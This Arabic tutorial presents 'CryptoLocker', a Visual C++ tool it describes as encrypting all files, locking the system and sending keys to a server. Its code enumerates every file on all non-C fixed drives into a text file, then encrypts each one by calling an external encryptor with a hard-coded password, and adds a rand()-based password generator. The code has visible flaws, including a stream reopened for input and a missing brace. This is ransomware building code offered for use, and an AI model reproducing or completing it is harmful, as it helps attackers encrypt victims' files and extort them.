
CryptoLocker هو أداة تشفير ملفات مفتوحة المصدر. تم تطوير Crypto بلغة Visual C++. يتميز بقدرته على تشفير جميع الملفات، قفل النظام، وإعادة المفاتيح إلى الخادم. تساعد وظائف تعدد الخيوط هذه الأداة على جعل التشفير أسرع.
Crypto هو أداة Crypto-Locker مفتوحة المصدر. تم تطويره بلغة Visual C++. يتميز بتشفير جميع الملفات، قفل النظام، وإرسال المفاتيح إلى الخادم. تساعد الوظيفة متعددة الخيوط هذه الأداة على جعل التشفير أسرع.
باستخدام خوارزمية تشفير قوية 256 بت، بمجرد تشفير الملف، يصبح الملف عديم الفائدة تمامًا بدون كلمة المرور. لا يمكن قراءته ببساطة.
الحصول على جميع الملفات من جميع الأقراص لتشفيرها.
هنا برنامج Visual C++ للحصول على قائمة بكل المجلدات والملفات في القرص وتخزين المسار في ملف نصي لاستخدامه لاحقًا في التشفير. أستخدم مكتبات Boost C++ للحصول على قائمة الملفات. يرجى إعداد مكتبات Boost أولاً لتجميع البرنامج.
#include <boost/config/warning_disable.hpp>
#include <boost/filesystem.hpp>
#include <iostream>
#include <iterator>
#include <stdio.h>
#include <windows.h>
using namespace std;
fstream out_file("data.txt", ios::out);
#define MAX 256
int main(int argc, char* argv[]) {
int dr_type = 99;
char dr_avail[MAX];
char *temp = dr_avail;
/* 1st we fill the buffer */
GetLogicalDriveStrings(MAX, dr_avail);
while (*temp != NULL) { // Split the buffer by null
dr_type = GetDriveType(temp);
char skip[10] = "C:\\";
if (dr_type == 3 && temp[0] != 'C') {
boost::system::error_code dir_error;
for (boost::filesystem::recursive_directory_iterator end, dir(temp, dir_error); dir != end; dir.increment(dir_error)) {
if (dir_error.value()) {
cerr << "Error accessing file: " << dir_error.message() << endl;
}
else {
cout << dir->path() << endl;
out_file << dir->path() << "\n";
}
}
}
temp += lstrlen(temp) + 1;
}
out_file.close();
system("pause");
هنا أولاً أحصل على كل مسار ملف من "data.txt" سطراً سطراً وأرسله إلى أداة التشفير هذه مع نوع التشفير وكلمة المرور. يمكنك أيضًا تضمين هذا البرنامج بالكامل في الحلقة العليا للحصول على المسار وتشفير البيانات بشكل متكرر.
out_file.open("data.txt", ios::in);
string line;
while (out_file.good()) {
getline(out_file, line);
cout << line << endl;
std::string cmmd = "crpt.exe -e -p 4321 ";
cmmd += line;
system(cmmd.c_str());
}
أرسل الطول إلى الدالة وستعيد الدالة كلمة مرور طويلة معقدة مولدة يمكنك استخدامها للتشفير.
string RandomString(int len)
{
srand(time(0));
string str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
string newstr;
int pos;
while (newstr.size() != len) {
pos = ((rand() % (str.size() - 1)));
newstr += str.substr(pos, 1);
}
return newstr;
}